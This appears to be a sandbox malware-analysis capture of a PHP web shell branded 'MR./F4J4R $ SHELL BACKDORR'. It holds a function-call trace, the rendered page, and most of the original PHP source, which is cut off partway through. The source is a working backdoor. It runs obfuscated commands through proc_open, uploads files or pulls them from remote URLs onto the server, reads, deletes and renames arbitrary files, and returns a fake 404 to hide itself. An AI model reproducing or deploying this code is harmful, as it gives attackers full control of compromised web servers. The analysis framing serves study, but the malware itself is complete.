3	68	0	0.003258	502536	filemtime	0		/var/www/html/uploads/shell.php	267	1	'/var/www/html/uploads/.htaccess'
3	68	1	0.003270	502576
3	68	R			1676247742
3	69	0	0.003288	502536	date	0		/var/www/html/uploads/shell.php	267	2	'F d Y g:i:s'	1676247742
3	69	1	0.003319	502864
3	69	R			'February 12 2023 7:22:22'
2	67	1	0.003334	502792
2	67	R			'February 12 2023 7:22:22'
2	70	0	0.003349	502600	owner	1		/var/www/html/uploads/shell.php	561	1	'/var/www/html/uploads/.htaccess'
3	71	0	0.003362	502600	function_exists	0		/var/www/html/uploads/shell.php	223	1	'posix_getpwuid'
3	71	1	0.003375	502640
3	71	R			TRUE
3	72	0	0.003388	502600	fileowner	0		/var/www/html/uploads/shell.php	224	1	'/var/www/html/uploads/.htaccess'
3	72	1	0.003401	502640
3	72	R			0
3	73	0	0.003422	502600	posix_getpwuid	0		/var/www/html/uploads/shell.php	224	1	0
3	73	1	0.003448	503400
3	73	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	70	1	0.003490	502648
2	70	R			'<center>root</center>'
2	74	0	0.003506	502280	is_writable	0		/var/www/html/uploads/shell.php	563	1	'/var/www/html/uploads/.htaccess'
2	74	1	0.003522	502320
2	74	R			FALSE
2	75	0	0.003536	502280	is_readable	0		/var/www/html/uploads/shell.php	564	1	'/var/www/html/uploads/.htaccess'
2	75	1	0.003551	502320
2	75	R			TRUE
2	76	0	0.003565	502280	statusnya	1		/var/www/html/uploads/shell.php	565	1	'/var/www/html/uploads/.htaccess'
3	77	0	0.003578	502280	fileperms	0		/var/www/html/uploads/shell.php	590	1	'/var/www/html/uploads/.htaccess'
3	77	1	0.003590	502320
3	77	R			33188
3	78	0	0.003603	502280	sprintf	0		/var/www/html/uploads/shell.php	590	2	'%o'	33188
3	78	1	0.003616	502664
3	78	R			'100644'
3	79	0	0.003629	502600	substr	0		/var/www/html/uploads/shell.php	590	2	'100644'	-4
3	79	1	0.003642	502696
3	79	R			'0644'
2		A						/var/www/html/uploads/shell.php	590	$izin = '0644'
2	76	1	0.003666	502312
2	76	R			'0644'
2	80	0	0.003679	502280	is_writable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/.htaccess'
2	80	1	0.003695	502320
2	80	R			FALSE
2	81	0	0.003708	502280	is_readable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/.htaccess'
2	81	1	0.003723	502320
2	81	R			TRUE
2	82	0	0.003736	502224	class_exists	0		/var/www/html/uploads/shell.php	575	1	'ZipArchive'
2	82	1	0.003750	502264
2	82	R			FALSE
2	83	0	0.003764	502280	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/data'
2	83	1	0.003779	502320
2	83	R			FALSE
2	84	0	0.003792	502288	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/prepend.php'
2	84	1	0.003807	502336
2	84	R			TRUE
2	85	0	0.003820	502296	filesize	0		/var/www/html/uploads/shell.php	549	1	'/var/www/html/uploads/prepend.php'
2	85	1	0.003841	502336
2	85	R			57
1		A						/var/www/html/uploads/shell.php	549	$size = 0.0556640625
2	86	0	0.003869	502192	round	0		/var/www/html/uploads/shell.php	550	2	0.0556640625	3
2	86	1	0.003883	502264
2	86	R			0.056
1		A						/var/www/html/uploads/shell.php	550	$size = 0.056
1		A						/var/www/html/uploads/shell.php	554	$size = '0.056 KB'
2	87	0	0.003918	502296	cekfile	1		/var/www/html/uploads/shell.php	558	1	'/var/www/html/uploads/prepend.php'
2	87	1	0.003932	502296
2	87	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	88	0	0.003949	502552	filedate	1		/var/www/html/uploads/shell.php	560	1	'/var/www/html/uploads/prepend.php'
3	89	0	0.003962	502552	filemtime	0		/var/www/html/uploads/shell.php	267	1	'/var/www/html/uploads/prepend.php'
3	89	1	0.003975	502592
3	89	R			1676247742
3	90	0	0.003988	502552	date	0		/var/www/html/uploads/shell.php	267	2	'F d Y g:i:s'	1676247742
3	90	1	0.004019	502880
3	90	R			'February 12 2023 7:22:22'
2	88	1	0.004035	502808
2	88	R			'February 12 2023 7:22:22'
2	91	0	0.004049	502616	owner	1		/var/www/html/uploads/shell.php	561	1	'/var/www/html/uploads/prepend.php'
3	92	0	0.004062	502616	function_exists	0		/var/www/html/uploads/shell.php	223	1	'posix_getpwuid'
3	92	1	0.004075	502656
3	92	R			TRUE
3	93	0	0.004088	502616	fileowner	0		/var/www/html/uploads/shell.php	224	1	'/var/www/html/uploads/prepend.php'
3	93	1	0.004101	502656
3	93	R			0
3	94	0	0.004113	502616	posix_getpwuid	0		/var/www/html/uploads/shell.php	224	1	0
3	94	1	0.004143	503416
3	94	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php	224	$tod = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
2	91	1	0.004185	502664
2	91	R			'<center>root</center>'
2	95	0	0.004200	502296	is_writable	0		/var/www/html/uploads/shell.php	563	1	'/var/www/html/uploads/prepend.php'
2	95	1	0.004216	502336
2	95	R			FALSE
2	96	0	0.004230	502296	is_readable	0		/var/www/html/uploads/shell.php	564	1	'/var/www/html/uploads/prepend.php'
2	96	1	0.004245	502336
2	96	R			TRUE
2	97	0	0.004258	502296	statusnya	1		/var/www/html/uploads/shell.php	565	1	'/var/www/html/uploads/prepend.php'
3	98	0	0.004271	502296	fileperms	0		/var/www/html/uploads/shell.php	590	1	'/var/www/html/uploads/prepend.php'
3	98	1	0.004284	502336
3	98	R			33261
3	99	0	0.004297	502296	sprintf	0		/var/www/html/uploads/shell.php	590	2	'%o'	33261
3	99	1	0.004310	502680
3	99	R			'100755'
3	100	0	0.004323	502616	substr	0		/var/www/html/uploads/shell.php	590	2	'100755'	-4
3	100	1	0.004336	502712
3	100	R			'0755'
2		A						/var/www/html/uploads/shell.php	590	$izin = '0755'
2	97	1	0.004360	502328
2	97	R			'0755'
2	101	0	0.004374	502296	is_writable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/prepend.php'
2	101	1	0.004389	502336
2	101	R			FALSE
2	102	0	0.004402	502296	is_readable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/prepend.php'
2	102	1	0.004417	502336
2	102	R			TRUE
2	103	0	0.004454	502232	class_exists	0		/var/www/html/uploads/shell.php	575	1	'ZipArchive'
2	103	1	0.004469	502272
2	103	R			FALSE
2	104	0	0.004484	502288	is_file	0		/var/www/html/uploads/shell.php	548	1	'/var/www/html/uploads/shell.php'
2	104	1	0.004499	502320
2	104	R			TRUE
2	105	0	0.004512	502280	filesize	0		/var/www/html/uploads/shell.php	549	1	'/var/www/html/uploads/shell.php'
2	105	1	0.004525	502320
2	105	R			19300
1		A						/var/www/html/uploads/shell.php	549	$size = 18.84765625
2	106	0	0.004549	502184	round	0		/var/www/html/uploads/shell.php	550	2	18.84765625	3
2	106	1	0.004562	502256
2	106	R			18.848
1		A						/var/www/html/uploads/shell.php	550	$size = 18.848
1		A						/var/www/html/uploads/shell.php	554	$size = '18.848 KB'
2	107	0	0.004597	502280	cekfile	1		/var/www/html/uploads/shell.php	558	1	'/var/www/html/uploads/shell.php'
2	107	1	0.004611	502280
2	107	R			'<i class="fa fa-file" style="color: #d6d4ce"></i> '
2	108	0	0.004628	502536	filedate	1		/var/www/html/uploads/shell.php	560	1	'/var/www/html/uploads/shell.php'
3	109	0	0.004641	502536	filemtime	0		/var/www/html/uploads/shell.php	267	1	'/var/www/html/uploads/shell.php'
3	109	1	0.004654	502576
3	109	R			1676247742
3	110	0	0.004667	502536	date	0		/var/www/html/uploads/shell.php	267	2	'F d Y g:i:s'	1676247742
3	110	1	0.004698	502864
3	110	R			'February 12 2023 7:22:22'
2	108	1	0.004713	502792
2	108	R			'February 12 2023 7:22:22'
2	111	0	0.004728	502600	owner	1		/var/www/html/uploads/shell.php	561	1	'/var/www/html/uploads/shell.php'
3	112	0	0.004740	502600	function_exists	0		/var/www/html/uploads/shell.php	223	1	'posix_getpwuid'
3	112	1	0.004753	502640
3	112	R			TRUE
3	113	0	0.004766	502600	fileowner	0		/var/www/html/uploads/shell.php	224	1	'/var/www/html/uploads/shell.php'
3	113	1	0.004779	502640
3	113	R			1000
3	114	0	0.004792	502600	posix_getpwuid	0		/var/www/html/uploads/shell.php	224	1	1000
3	114	1	0.004823	503416
3	114	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2		A						/var/www/html/uploads/shell.php	224	$tod = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
2	111	1	0.004868	502656
2	111	R			'<center>osboxes</center>'
2	115	0	0.004883	502280	is_writable	0		/var/www/html/uploads/shell.php	563	1	'/var/www/html/uploads/shell.php'
2	115	1	0.004900	502320
2	115	R			FALSE
2	116	0	0.004913	502280	is_readable	0		/var/www/html/uploads/shell.php	564	1	'/var/www/html/uploads/shell.php'
2	116	1	0.004928	502320
2	116	R			TRUE
2	117	0	0.004941	502280	statusnya	1		/var/www/html/uploads/shell.php	565	1	'/var/www/html/uploads/shell.php'
3	118	0	0.004954	502280	fileperms	0		/var/www/html/uploads/shell.php	590	1	'/var/www/html/uploads/shell.php'
3	118	1	0.004970	502320
3	118	R			33204
3	119	0	0.004984	502280	sprintf	0		/var/www/html/uploads/shell.php	590	2	'%o'	33204
3	119	1	0.004997	502664
3	119	R			'100664'
3	120	0	0.005010	502600	substr	0		/var/www/html/uploads/shell.php	590	2	'100664'	-4
3	120	1	0.005023	502696
3	120	R			'0664'
2		A						/var/www/html/uploads/shell.php	590	$izin = '0664'
2	117	1	0.005047	502312
2	117	R			'0664'
2	121	0	0.005060	502280	is_writable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/shell.php'
2	121	1	0.005075	502320
2	121	R			FALSE
2	122	0	0.005088	502280	is_readable	0		/var/www/html/uploads/shell.php	566	1	'/var/www/html/uploads/shell.php'
2	122	1	0.005102	502320
2	122	R			TRUE
2	123	0	0.005116	502224	class_exists	0		/var/www/html/uploads/shell.php	575	1	'ZipArchive'
2	123	1	0.005129	502264
2	123	R			FALSE
2	124	0	0.005143	502224	author	1		/var/www/html/uploads/shell.php	587	0
			0.005174	420840
TRACE END   [2023-02-12 22:22:48.395157]


Generated HTML code

<html><head>
    <title>MR./F4J4R $ SHELL BACKDORR</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">MR./F4J4R Priv8</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>
Server IP : <font color="gold">::1</font> &nbsp;/&nbsp; Your IP : <font color="gold">::1</font><br>Web Server : <font color="gold">Apache/2.4.52 (Ubuntu)</font><br>System : <font color="gold">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</font><br>User : <font color="gold">osboxes&nbsp;</font>( <font color="gold">1000</font>)<br>PHP Version : <font color="gold">7.2.34-37+ubuntu22.04.1+deb.sury.org+1</font><br>Disable Function : <font color="red">pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font><br>MySQL : <font color="red">OFF</font> &nbsp;|&nbsp; cURL : <font color="green">ON</font> &nbsp;|&nbsp; WGET : <font color="green">ON</font> &nbsp;|&nbsp; Perl : <font color="green">ON</font> &nbsp;|&nbsp; Python : <font color="red">OFF</font><br>Directory (<font color="green">0777</font>) : &nbsp;<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td></td></tr></tbody></table><br><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tbody><tr><th>[ &nbsp;<a href="/shell.php6">Home</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;komend=gaskan">C0mmand</a>&nbsp; ]</th><th>[ &nbsp;<a href="?path=/var/www/html&amp;upload=gaskan">Upload File</a>&nbsp; ]</th></tr></tbody></table><br><div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr>
    <td><i class="fa fa-folder" style="color: #ffe9a2"></i> <a href="?path=/var/www/html/..">..</a></td>
    <td><center>--</center></td>
    <td><center>February 12 2023 6:31:39</center></td>
    <td><center>root</center></td>
    <td><center><font color="green">0777</font></center></td>
    <td><center><form method="POST" action="?pilihan&amp;path=/var/www/html">
    <select name="pilih">
    <option value=""></option>
    <option value="hapus">Delete</option>
    <option value="gantinama">Rename</option>
    </select>
    <input type="hidden" name="type" value="dir">
    <input type="hidden" name="name" value="..">
    <input type="hidden" name="path" value="/var/www/html/..">
    <input type="submit" class="gas" value=">">
    </form></center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>February 12 2023 6:31:39</center></td>
<td><center>root</center></td>
<td><center>0644</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr><tr>
<td><i class="fa fa-file" style="color: #d6d4ce"></i> <a href="?fileloc=/var/www/html/shell.php6&amp;path=/var/www/html">shell.php6</a></td>
<td><center>18.848 KB</center></td>
<td><center>February 12 2023 6:31:39</center></td>
<td><center>osboxes</center></td>
<td><center>0664</center></td><td><center>
<form method="post" action="?pilihan&amp;path=/var/www/html">
<select name="pilih">
<option value=""></option>
<option value="hapus">Delete</option>
<option value="dunlut">Download</option>
<option value="gantinama">Rename</option>
<option value="edit">Edit</option></select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="shell.php6">
<input type="hidden" name="path" value="/var/www/html/shell.php6">
<input type="submit" class="gas" value=">">
</form></center></td>
</tr></tbody></table><center><br>AnonSec - 2021</center></div></body></html>

Original PHP code

<!DOCTYPE html>
<html>
<head>
    <title>MR./F4J4R $ SHELL BACKDORR</title>
    <meta name="author" content="Mr.Fn4ticHz">
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta name="description" content="Crushed Is Batter Than Fixing">
    <meta property="og:description" content="Crushed Is Batter Than Fixing">
    <meta property="og:image" content="https://bbx-host.pw/bbr.jpg">
    <meta name="robots" content="noindex">
    <meta name="googlebot" content="noindex">
    <meta name="theme-color" content="#1f1f1f">
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css" rel="stylesheet">
<style>
    @import url('https://fonts.googleapis.com/css?family=Dosis');
    @import url('https://fonts.googleapis.com/css?family=Bungee');
body {
    font-family: "Dosis", cursive;
    text-shadow:0px 0px 1px #757575;
}

body::-webkit-scrollbar {
  width: 12px;
}

body::-webkit-scrollbar-track {
  background: #1f1f1f;
}

body::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

#content tr:hover {
    background-color: #636263;
    text-shadow:0px 0px 10px #fff;
}

#content .first {
    background-color: #25383C;
}

#content .first:hover {
    background-color: #25383C
    text-shadow:0px 0px 1px #757575;
}

table {
    border: 1px #000000 dotted;
    table-layout: fixed;
    word-break: break-all;
}

textarea {
    max-width: 95%;
    max-height: 100%;
    resize: none;
    outline: none;
    overflow: auto;
    background: transparent;
    color: #fff;
}

textarea::-webkit-scrollbar {
  width: 12px;
}

textarea::-webkit-scrollbar-track {
  background: #1f1f1f;
}

textarea::-webkit-scrollbar-thumb {
  background-color: #1f1f1f;
  border: 3px solid gray;
}

a {
    color: #ffffff;
    text-decoration: none;
}

a:hover {
    color: gold;
    text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}

.gas {
    background-color: #1f1f1f;
    color: #ffffff;
    cursor: pointer;
}

select {
    background-color: transparent;
    color: #ffffff;
}

select:after {
    cursor: pointer;
}

.linka {
    background-color: transparent;
    color: #ffffff;
}

.up {
    background-color: transparent;
    color: #fff;
}

option {
    background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<script>
function setfilename(val)
  {
    filename = val.split('\\').pop().split('/').pop();
    //filename = filename.substring(0, filename.lastIndexOf('.'));
    document.getElementById('namanya').value = filename;
  }

async function loadFile(file) {
    let text = await file.text();
    document.getElementById("bepasdata").innerHTML = text;
}
</script>
<center>
<font face="Bungee" size="5">MR./F4J4R Priv8</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php
@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);

$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
    echo "<center><br>AnonSec - 2021</center>";
    exit();
}

function cekdir() {
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function cekroot() {
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}

function xrmdir($dir) {
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir.'/'.$item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}

function dunlut($file) {
    if (!is_readable($file)) {
        red("Cannot Download File / Unreadable File !");
        die();
    }
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($file).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush();
    readfile($file);
    die();
}

function owner($file) {
    if (function_exists("posix_getpwuid")) {
        $tod = @posix_getpwuid(fileowner($file));
        return "<center>".$tod['name']."</center>";
    } else {
        return "<center>".fileowner($file)."</center>";
    }
}

function cekwrite($lokasi) {
    $izin = substr(sprintf('%o', fileperms($lokasi)), -4);
    if (is_writable($lokasi)) {
        return "<font color=green>".$izin."</font>";
    } else {
        return "<font color=red>".$izin."</font>";
    }
}

function ekse($komend, $lokasi) {
    if (!function_exists("proc_open")) {
        die("proc_open function disabled !");
    } elseif (!function_exists("base64_decode")) {
        die("base64_decode function disabled !");
    }
    $komen = base64_decode(base64_decode(base64_decode($komend)));
    $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
    echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea><br><br>";
}

function ipserv() {
    if (empty($_SERVER['SERVER_ADDR'])) {
        return gethostbyname($_SERVER['SERVER_NAME']);
        if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
            return $_SERVER['SERVER_NAME'];
        }
    } else {
        return $_SERVER['SERVER_ADDR'];
    }
}

function cekfile($file) {
     return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}

function filedate($file) {
    return date("F d Y g:i:s", filemtime($file));
}

function unzip($file, $lokasi) {
    if (!is_readable($file)) {
        red("Cannot Unzip File / Unreadable File !");
        die();
    } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
        red("This isn't Zip File !");
        die();
    }
    $zip = new ZipArchive;
    $res = $zip -> open($file);
    if ($res == true) {
        $zip -> extractTo($lokasi);
        $zip -> close();
        green("Success Unzip File !");
    } else {
        red("Failed to Unzip File !");
    }
}

function green($text) {
    echo "<center><font color='green'>".$text."</center></font>";
}

function red($text) {
    echo "<center><font color='red'>".$text."</center></font>";
}

echo "Server IP : <font color=gold>".ipserv()."</font> &nbsp;/&nbsp; Your IP : <font color=gold>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo "Web Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font><br>";
echo "System : <font color='gold'>".php_uname()."</font><br>";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)<br>";
echo "PHP Version : <font color='gold'>".@phpversion()."</font><br>";
echo "Disable Function : ".$disf."</font><br>";
echo "MySQL : ";
if (function_exists("mysql_connect")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; cURL : ";
if (function_exists("curl_init")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; WGET : ";
if (file_exists("/usr/bin/wget")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Perl : ";
if (file_exists("/usr/bin/perl")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}
echo " &nbsp;|&nbsp; Python : ";
if (file_exists("/usr/bin/python2")) {
    echo "<font color=green>ON</font>";
} else {
    echo "<font color=red>OFF</font>";
}

foreach($_POST as $key => $value){
    $_POST[$key] = stripslashes($value);
}

if(isset($_GET['path'])){
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);

echo "<br>Directory (".cekwrite($lokasi).") : &nbsp;";

foreach($lokasis as $id => $lok){
    if($lok == '' && $id == 0){
        $a = true;
        echo '<a href="?path=/">/</a>';
        continue;
    }
    if($lok == '') continue;
    echo '<a href="?path=';
    for($i=0;$i<=$id;$i++){
    echo "$lokasis[$i]";
    if($i != $id) echo "/";
} 
echo '">'.$lok.'</a>/';
}

echo '</td></tr><tr><td>';
if (isset($_POST['upwkwk'])) {
    if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
    if (isset($_POST['berkasnya'])) {
        $data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi."/".$_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['bepas'])) {
        $bepasdata = $_POST['bepasdata'];
        $bepasnama = $_POST['bepasnama'];
        if ($bepasdata) {
            echo "string";
        }
        @file_put_contents($lokasi."/".$bepasnama, $bepasdata);
        if (file_exists($lokasi."/".$bepasnama)) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$bepasnama."</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}

echo "</table><br>";
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">';
echo '<th>[ &nbsp;<a href="'.$_SERVER['SCRIPT_NAME'].'">Home</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&komend=gaskan">C0mmand</a>&nbsp; ]</th>';
echo '<th>[ &nbsp;<a href="?path='.$lokasi.'&upload=gaskan">Upload File</a>&nbsp; ]</th>';
echo "</table><br>";

if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : ".$_GET['fileloc'];
    echo '</tr></td></table><br/>';
    echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File <i>".basename($_POST['path'])."</i> Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>".$_POST['path']."<br>";
    echo '<form method="post">
    New Name : <input name="newname" type="text" class="up" size="20" value="'.$namaawal.'" />
    <input type="hidden" name="path" value="'.$_POST['path'].'">
    <input type="hidden" name="pilih" value="gantinama">
    <input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
    </form>';
